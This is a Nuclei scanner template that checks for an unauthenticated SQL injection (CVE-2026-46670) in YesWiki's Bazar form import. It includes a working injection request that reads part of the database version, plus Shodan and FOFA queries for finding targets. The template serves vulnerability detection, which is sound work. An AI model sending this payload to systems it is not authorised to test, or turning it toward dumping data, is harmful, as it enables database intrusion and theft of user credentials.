YesWiki < 4.6.4 - Unauthenticated SQL Injection

id: CVE-2026-46670

info:
  name: YesWiki < 4.6.4 - Unauthenticated SQL Injection
  author: 0x_Akoko
  severity: critical
  description: |
    YesWiki before version 4.6.4 contains an unauthenticated SQL injection vulnerability in the Bazar form-import path. The bn_id_nature parameter in FormManager::create() is concatenated into an INSERT statement without sanitization, allowing unauthenticated attackers to inject arbitrary SQL and read the full database including password hashes.
  impact: |
    An unauthenticated attacker can dump the entire database contents including usernames, emails, and hashed passwords from the yeswiki_users table.
  remediation: |
    Update YesWiki to version 4.6.4 or later.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-jwvv-qr7q-cv8j
    - https://nvd.nist.gov/vuln/detail/CVE-2026-46670
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-46670
    epss-score: 0.0004
    epss-percentile: 0.1263
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
    vendor: yeswiki
    product: yeswiki
    shodan-query: http.html:"YesWiki"
    fofa-query: body="YesWiki"
  tags: cve,cve2026,yeswiki,sqli,unauth,intrusive

variables:
  label: "nuclei_{{rand_text_alphanumeric(8)}}"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/?BazaR&vue=formulaire"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(to_lower(body), "bazar", "yeswiki")'
        internal: true
        condition: and

  - raw:
      - |
        POST /?BazaR&vue=formulaire HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        imported-form%5B7790000%2BASCII%28SUBSTRING%28VERSION%28%29%2C1%2C1%29%29%5D=%7B%22bn_label_nature%22%3A%22{{label}}%22%2C%22bn_template%22%3A%22%22%2C%22bn_description%22%3A%22%22%2C%22bn_condition%22%3A%22%22%7D

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true
        condition: and

  - raw:
      - |
        GET /?api/forms HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("\"779004[89]\":\\{|\"779005[0-7]\":\\{", body)'
          - 'contains(content_type, "application/json")'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"(779004[89]|779005[0-7])":\{"bn_id_nature"'
# digest: 490a0046304402207a19b992267f23ebf0cb704b1d62b815df0108cbf3a8f652f94c55c3aab64cc902202fda87145c891055fe0410c45490260a7c84489bc41013e4c83826ad9b3badcb:922c64590222798bb761d5b6d8e72950